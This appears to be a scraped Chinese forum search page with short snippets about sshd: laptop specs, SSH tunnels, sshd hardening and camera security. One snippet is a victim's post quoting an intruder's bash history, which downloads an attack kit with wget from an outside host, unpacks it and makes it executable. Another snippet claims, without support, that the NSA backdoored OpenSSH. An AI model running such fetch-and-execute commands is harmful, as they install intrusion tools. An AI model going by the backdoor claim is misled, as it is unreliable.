|
e*i
发帖数: 10288 | 2 you can use ssh tunnel.
I'm using it in china to cross over the GFW.
Be sure to use -OpenSSH_6.0 or newer, 5.5 has a lot of
problems for SSH tunnel.
use telnet xxxx 22 to check sshd version. |
|
e**o
发帖数: 126 | 3 现在都是700刀左右，哪个好点？
Z51 $679
Processor:5th Generation Intel Core i7-5500U Processor
Graphics:AMD Radeon R9 M375 2GB
Memory:8.0GB PC3-12800 DDR3L 1600 MHz
Display:15.6" FHD LED Anti-Glare (1920x1080)
Hard Drive:Hybrid 1TB 5400 RPM+8GB SSHD
Optical Drive:DVD Recordable
Y40-80, $699
Processor:5th Generation Intel Core i7-5500U Processor
Graphics:AMD Radeon R9 M275 2GB
Memory:8.0GB PC3-12800 DDR3L 1600 MHz
Display:14.0" FHD LED AntiGlare (1920x1080)
Hard Drive:1TB 5400 rpm
Y40 少了光驱（没用？）少了8GB SSD,屏幕小点。... 阅读全帖 |
|
e*******0
发帖数: 335 | 4 以下是配置，请问够父母同时开很多qq阿，看视频啊，普通文档处理之类的吗？我觉得
应该够了，配置比我自己用的都好。
3.3 lbs( 1.5 kgs)
Windows 8.1 64
ClickPad
0.76in( 19.3 mm)
2 Cell 35 Watt Hour Li-Polymer
Intel® HD Graphics 5500
Depot or Carry-in
5th Generation Intel Core i5-5200U Processor (2.20GHz 1600MHz 3MB)
SODIMM
9.06in( 230 mm)
12.72in( 323 mm)
8.0GB PC3-12800 DDR3L 1600 MHz
Bluetooth Version 4.0
Lenovo AC Wireless
One year
EN:English
500GB 5400 RPM+8GB SSHD
价格是$599.
请问这个价格值得搬回去吗？还是国内买比较好？如果差价不大我就这边买了。不然还
是爸妈自己出钱了。。。。
另外如果这个不好请问有其他推荐吗？父母用就是... 阅读全帖 |
|
l**********w
发帖数: 1 | 5 家里升级，用一台大机器换下一批小机器，有一个闲置的synology 411 slim，觉得曲
高和寡，在ebay和
clist应该很难有人买。
版上有朋友感兴趣请出个价（lululemonlaw icloud com），best offer就出了。附送
四块盘：两个1T Seagate sshd，一块1T 5400转HGST，一块80G第一代X-25M。 |
|
g****t
发帖数: 4493 | 6 在disk management再assign一个盘符 |
|
a******n
发帖数: 1052 | 7 还有个问题，ssh server能整好吗？
貌似windows自己开了个ssh server，然后从外面ssh过来直接进了windows，而不是
ubuntun，哪怕ubuntu的sshd在运行。找了很久没找着windows默认的那个ssh server怎
么关 |
|
a******n
发帖数: 1052 | 8 还有个问题，ssh server能整好吗？
貌似windows自己开了个ssh server，然后从外面ssh过来直接进了windows，而不是
ubuntun，哪怕ubuntu的sshd在运行。找了很久没找着windows默认的那个ssh server怎
么关 |
|
F*****y
发帖数: 3877 | 9 微软的bf
Display
15.6 in 4K UHD LED touchscreen (3840 x 2160), 10-finger multi-touch support
Processor
Intel Core i7-6700HQ 2.60 GHz with Turbo Boost Technology up to 3.50 GHz
Memory
8GB DDR3L 1600 MHz
Hard drive size
1TB SSHD
Video
NVIDIA GeForce GTX 960M with 4GB graphics memory, Intel HD Graphics 530 |
|
F***Q
发帖数: 6599 | 10
these are zombies infected by backdoor programs, not from actual person.
banning that IP is not helpful because you will soon find other IPs trying
the same thing.
make sure you disable remote root access, by setting PermitRootLogin to no
in sshd_config (of course, make your account sudoer first), then
sudo /etc/init.d/sshd restart
you can also install tripwire to automatically disable intruders after
failed passwords
https://www.digitalocean.com/community/tutorials/how-to-use-tripwire-to-
dete... 阅读全帖 |
|
c******n
发帖数: 4965 | 11 你是说 salvage 那个 盒子？ 还是说 Linux desktop 上跑 类似于 pogoplug 的程序
？ 我到不爱惜那个盒子， 主要是没有 Linux 上类似的 成套解决方案（我可以跑个
sshd 然后用 phone Sftp client 上传， 但太不方便， pogo 的 phone app 还是很好
用的）
多谢！ |
|
a*o
发帖数: 19981 | 12 hack the box. 你可能是本版头一个拿pogo直接用的。
: 你是说 salvage 那个 盒子？ 还是说 Linux desktop 上跑 类似于 pogoplug
的程序
: ？ 我到不爱惜那个盒子， 主要是没有 Linux 上类似的 成套解决方案（我可以
跑个
: sshd 然后用 phone Sftp client 上传， 但太不方便， pogo 的 phone app 还
是很好
: 用的）
: 多谢！
|
|
|
a*o
发帖数: 19981 | 14 junk，这年头不管台机还是笔记本不是纯ssd就是junk，hdd唯一合理用途是独立存储设
备。 |
|
d******a
发帖数: 32122 | 15 目前NVME的还没到
先对比一下SATA SSD对硬盘
SQL Server 打开表速度
SATA SSD：850 EVO 250GB
硬盘：Seagate FireCuda Gaming SSHD 2TB 笔记本硬盘。这个硬盘据称有个小SSD，几
十兆，但是另一方面只有5400转。两项抵消，应该代表普通硬盘速度。
测试内容：同一个数据库放在不同硬盘上，测试打开四个不同大小表的速度
第一个数字是所用时间，第二个数字是记录数 当然，列数也影响速度，但测试的重点
是硬盘对SSD
硬盘
1：07 36221
0：36 1535185
2:44 1106414
00:37 6240106
SSD：
1:14 36221
0：38 1535185
2:50 1106414
00:47 6240106
看来SQL Server的优化很好，以至于硬盘和SSD速度基本没有区别。SSD还慢一些。 |
|
b***i
发帖数: 3043 | 16 我最看重的是速度，尤其是SSD导致的性能提升。需要512G以上的空间,可以是128G+1TB
。其次是需要1080p。再次是需要17寸。大概8G内存足够了，也不需要游戏显卡。
有没有推荐的？大概在750以下的？上半年有个deal是Lenovo has Lenovo Y700-17ISK
80Q000C0US 17.3" Laptop (i7-6700HQ 16GB 1TB+128GB SSHD 1080p GTX 960M) for $
800 - $50 w/ code "Y700EXTRA50" = $750.
当然，如果实在不行,15寸也行。今年黑五有没有推荐？ |
|
b***i
发帖数: 3043 | 17 这个17存的咋样啊？完全符合我的要求了。不知道性价比怎样？ |
|
x******4
发帖数: 3001 | 18 不错，17寸的deal不多，要15的话可以等等 |
|
|
d*b
发帖数: 21830 | 20 我给你总结下，
1.你还是穷了点，4k ipc光sony的星光sensor就要卖100多刀了，150刀的4k用
ambarella的dsp和micron的sensor很正常。这种芯片误报多，而且不支持zoom/Af. 你
肯多花点钱的话买华为3519加sony星光级的sensor,连IR照明都免了，集成ethernet,
zoom,af,误报几乎为0.当然，价格也不会便宜，成品都上千，模块300多
2.ipc因为安全问题大多disable了ssh,尤其是nsa的后门出现后基本连开发板的sshd都
disable了。所以你要求提供ssh,必须问厂家要master key.
3.hik的摄像头应该属于非常完美的，美中不足是对美国（google,yahoo等）的smtp
server的license支持不足。但遗憾的是你骂了这么多，竟然连这么重要的问题都没看
出来，很怀疑你是不是在美国。
4.你说“只有谷歌和苹果有这个实力”就更可笑了，你说pelco,ti倒算了，问题是谷歌
和苹果从来没有开发过安全产品，很让人怀疑你是不是3k请来有意闹场的 |
|
d*b
发帖数: 21830 | 21 没用过大华，不好说，但用过不少hik,总体对hik的评价比较低，楼上的苦主抱怨了这
么多，都没说到点子上。我来从专业的角度给你们说说。
1.hik的dsp chip都是用Ambarella,就是Gopro上用的那种，Ambarella的chip比华为
hisilicon的落后无数代，人华为单片单板，集成wifi, ethernet,Af,zoom,而且
frontend用h265,你hik 200刀的玩意人30刀就可以实现了，所有便宜不一定没好货，近
年来土鳖尤其是华为在dsp上的突破，对安防领域是致命性的打击。
2. hik的image sensor大多用micron,少数专业机用sony,所以hik的图像，同样1080p的
contrast明显比较差，sony的很多都是星光板，一般家用根本不需要IR照明，但hik就
不一样了，所有很多低端的hik一到晚上就更看不清了。
3.hik最致命的是对客户的支持，比如去年NSA在open sshd上放的暗桩被人发现，很多
电子邮件公司都把port 22给block了，但hik的英文rom就是不patch,因为丫的rom是加
密的，你自己也改不... 阅读全帖 |
|
x****r
发帖数: 12 | 22 If you only need loosely couple the two programs, you can open sshd on your
linux, and then on Windows use expect http://expect.nist.gov/ or expect-like module (e.g. http://www.noah.org/wiki/Pexpect if you use python) to invoke a ssh/sftp client (e.g. putty & pscp) to automate the interaction your linux program. |
|
l*****g
发帖数: 547 | 23 open only sshd. and change your ssh port to other numbers.
then you won't get those accesses. |
|
E*V
发帖数: 17544 | 24 确实只有sshd开着。ssh port 一直想改，但是懒的没有动
如果今后再有这样的，我要考虑改改了 |
|
A**********e
发帖数: 3102 | 25 多谢多谢 :)
我是把 dest.server:139 ssh tunnel 到 windows loop adaptor 的 IP 上的，好像文
件共享不受影响，因为 windows loop adaptor 和 localhost 的 IP 不同。
至于想 ssh forward samba，是想尽量在 firewall 上少开洞，而且这样所有的攻击都
可以在 sshd 上看到。
嗯，让我查查比较现成的 script/program 来自动识别攻击并封锁对方的 IP。过去的学
校的 IT 很强，所以自己不用太操心，server 被攻击后不久 IT 就能发现并且处理。现
在这个学校的 IT 就是一团糟，什么都得自己操心，呵呵。
sniffer |
|
w*r
发帖数: 2421 | 26 how to setup sshd to force not reading the authorized keys? |
|
f**y
发帖数: 138 | 27 Check target machine's /etc/pam.d/sshd file. Remove the 'root' account
inside. |
|
z**r
发帖数: 17771 | 28 你试过从localhost登录没有？另外改了sshd_config，重启一下sshd? |
|
a*******e
发帖数: 3021 | 29 还有可能是另外的sshd_config哦
比如后来装的sshd到了非默认目录例如/usr/local/sshXXX啥德，那设置文件就在那里
了。。。。 |
|
w********e
发帖数: 557 | 30 在redhat和suse上要改/etc/pam.d/下的login或remote--去掉root，重启sshd. |
|
m*****n
发帖数: 5611 | 31 如果你用ssh建立的tunnel 试着先灭掉上一个sshd
reverse
tunnel
这个 |
|
|
T********r
发帖数: 6210 | 33 你的方案有几个问题：
1。有多个client都在同一个NAT后面，它们都会连到server上，建立各自
的reverse tunnel。
2。有多个client从不同的IP连到server上，建立各自的reverse tunnel。
要kill掉server端的sshd，就得写个program在server端运行了，我在想看有
没有方案可以不需要写这个program。 |
|
z**r
发帖数: 17771 | 34 是ssh client还是sshd不行了？卸掉openssh，然后重装一下看看？ |
|
A*******s
发帖数: 708 | 35 家里的其中一台电脑之前开了一个download用户，估计是被对方猜到密码了
bash的history：
uname -a
cat /proc/cpuinfo
ps x
passwd
cd /var/tmp
ls -a
wget freewebtown.com/arapa/as.tgz
tar zxvf as.tgz
rm -rf as.tgz
cd as
rm -rf vuln.txt
touch vuln.txt
chmod +x *
screen
现在的问题是怎么才能看到screen的history，我不知道他在这里做过什么，突然好害
怕…
另外有人知道as这个是干嘛的吗？
$find as
as
as/scan.log
as/nobash.txt
as/a
as/pass.txt
as/sshd
as/start
as/screen
as/pscan2
as/vuln.txt |
|
z*********n
发帖数: 94654 | 36 哦，对了，你修改你的系统的/etc/passwd可能还是没用
貌似他在download user地下起了一个sub system，他用那个底下的
sshd照样能log到那个guest 系统，呵呵
虽说对你也许破坏不了啥，但也是利用你的资源
你不在乎就好 |
|
Z**0
发帖数: 1119 | 37 大家下载那个文件，打开看看。里边有很多肉机的密码和IP。里边有个这个东西：
WZD's hacked servers。 ：）。
这个是个后门程序，自带sshd，screen, start, pscan2. 看起来主要用来扫描机器，
破解秘密用的。 |
|
l*****g
发帖数: 547 | 38 sshd setup can disable tunnel
freeshell. |
|
z*********n
发帖数: 94654 | 39 sudo apt-get install openssh-server
/etc/init.d/sshd start
启动后从别的机器ssh进来就行
ubuntu默认不安装ssh server比较恶 |
|
z*********n
发帖数: 94654 | 40 忘记加sudo /etc/init.d/sshd start了 |
|
E*V
发帖数: 17544 | 41 你下次一定记住打开sshd，用别的机器还可以登录的
你的真正情况有一个键的，我忘了，aya记得，可以搞搞的 |
|
g*******0
发帖数: 127 | 42 开了sshd, 也死了，登录没有反应。硬件肯定是好的，因为同一台机器启动到Windows
使用USB drive就一点问题也没有。 |
|
E*V
发帖数: 17544 | 43 what if sshd is not up?.... |
|
|
v*****r
发帖数: 1119 | 45 我觉得肯定有其他问题，如果只是 Xorg config 的问题，virtual console 应该能
access. 前几天给几个 server applying CIS security Benchmark scripts, xorg 立
马 fail 掉，usb/DVD 也被 disable 掉（不能 用liveusb/liveCD boot 去 fix), 但
virtual consoles 都能用。
LZ 的情况是 virtual console 不反应，不知道 stuck 在那一步，可能 sshd 都没起
来，如果屁股兜里没揣着 liveusb, reboot 到 single user mode 还是最简单的了。 |
|
s******n
发帖数: 6806 | 46 我第一次弄的时候也是弄了很久，这是当时我保存的安装步骤，
后来我都是这么设置的。ubuntu下面的，debian应该也是一样的。
Step 0. Make sure you installed openssh-server package.
Step 1. Download NX deb packages, and then install packages,
(assume that packages are in current directory, file names may be different)
"sudo dpkg -i nxclient_3.2.0-9_i386.deb"
"sudo dpkg -i nxnode_3.2.0-5_i386.deb"
"sudo dpkg -i nxserver_3.2.0-7_i386.deb"
Step 2. Test the server
"cd /usr/NX/bin"
"sudo ./nxserver --status"
Step 3. Open sshd-config file,
"sudo nano /etc/ssh/s |
|
s**h
发帖数: 1889 | 47 发现n多傻X试图hack我的机器。我目前sshd限制只有3个用户名可以ssh访问。
禁止了root的ssh访问。10秒不登录就断连接。最多可以试3次。可是我找不到
怎么限制一天最多允许某个用户名登录失败的次数。我的设想是即使他们猜到
了我的用户名，也不能连续n天不间断猜密码(当然我的username和密码都不是太好猜)。
比如如果要试验1000次才能猜出我的密码，如果我限制一天最多可以错的次数是3次，
那帮傻X就得用一年多来猜。
用iptable禁止ip好象不大现实，类似于穷举法。有什么好办法让这些SB script
kiddie们尽早死心？ |
|
d*******e
发帖数: 1649 | 48 好奇一下，你怎么知道别人在登录？哪里可以看到log？
我也用了sshd，不知道有没有别人在hack。。
)。 |
|
s**h
发帖数: 1889 | 49 这个我设置sshd的时候考虑过，当然是一个可行的方案。不过最后没搞是因为
考虑到以后也许出门去别的地区玩要临时访问的话不幸被禁止了就抓瞎了。而
且我不想穷举(我对这个方法也了解不多，所以可能我说穷举是不对的)。我
承认我可能考虑过多(paranoid?)。不过我还是认为我设想的方案自由度最大
而且可以基本实时反应。当然也有缺点，就是万一不幸哪天我不小心连续输错
几次密码就会被lock out。但是我觉得这是我可以自己控制的。
次， |
|
z**r
发帖数: 17771 | 50 do you have the root access to the server? if yes, then man sshd, you'll
find it |
|
